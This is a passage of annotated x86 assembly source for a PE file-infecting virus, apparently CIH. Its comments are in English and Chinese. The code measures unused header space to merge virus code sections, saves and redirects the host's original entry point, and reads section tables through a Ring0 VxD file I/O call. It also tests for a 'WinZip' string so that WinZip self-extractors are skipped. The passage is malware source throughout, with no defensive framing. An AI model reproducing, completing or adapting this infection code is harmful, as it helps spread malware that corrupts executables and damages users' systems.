; ***************************                          
; * The Code Size of Merge *                          
; * Virus Code Section and *                          
; * Total Size of Virus   *                          
; * Code Section Table Must *                          
; * be Small or Equal the  *                          
; * Unused Space Size of  *                          
; * Following Section Table *                          
; ***************************                          
                                         
            inc   ecx                       
            push  ecx   ; Save NumberOfSections+1        
                                         
            shl   ecx, 03h           ;*8          
            push  ecx   ; Save TotalSizeOfVirusCodeSectionTable ;预留病毒块表空间
                                         
            add   ecx, eax                     
            add   ecx, edx        ;ecx+文件的正文的偏移             
                                         
            sub   ecx, (SizeOfHeaders-@9)[esi]           
            not   ecx                       
            inc   ecx          ;求补             
                            ;ecx为文件头大小-正文的偏移=未用空间             
            ; Save My Virus First Section Code            
            ; Size of Following Section Table…           
            ; ( Not Include the Size of Virus Code Section Table )  
            push  ecx                       
                                         
            xchg  ecx, eax    ; ECX = Size of Section Table ;ecx为块表大小 
                                         
            ; Save Original Address of Entry Point          
            mov   eax, (AddressOfEntryPoint-@9)[esi]     ;入口RVA地址   
            add   eax, (ImageBase-@9)[esi]          ;装入基址   
            mov   (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存装入后实际的入口地址   
                                         
            cmp   word ptr [esp], small CodeSizeOfMergeVirusCodeSection ;未用空间和病毒第一块大小比较
            jl   OnlySetInfectedMark ;小于就只设感染标志
                                         
; ***************************                          
; * Read All Section Tables *                          
; ***************************                          
                                         
            mov   eax, ebp       ;读的功能号              
            call  edi   ; VXDCall IFSMgr_Ring0_FileIO  ;读块表到esi(@9处)    
                                         
; ***************************                          
; * Full Modify the Bug :  *                          
; * WinZip Self-Extractor  *                          
; * Occurs Error…     *                          
; ***************************                          
; * So When User Opens   *                          
; * WinZip Self-Extractor, *                          
; * Virus Doesn"t Infect it.*                          
; ***************************                          
; * First, Virus Gets the  *                          
; * PointerToRawData in the *                          
; * Second Section Table,  *                          
; * Reads the Section Data, *                          
; * and Tests the String of *                          
; * "WinZip?"……    *                          
; ***************************                          
                                         
            xchg  eax, ebp                     
                                         
            push  00000004h                    
            pop   ecx          ;读4字节             
                                         
            push  edx                       
            mov   edx, (SizeOfScetionTable+PointerToRawData-@9)[ebx] ;edx为第二块的偏移(.rdata)
                                        
            add   edx, 12h         ;加10h+2h(10h处为"WinZip….")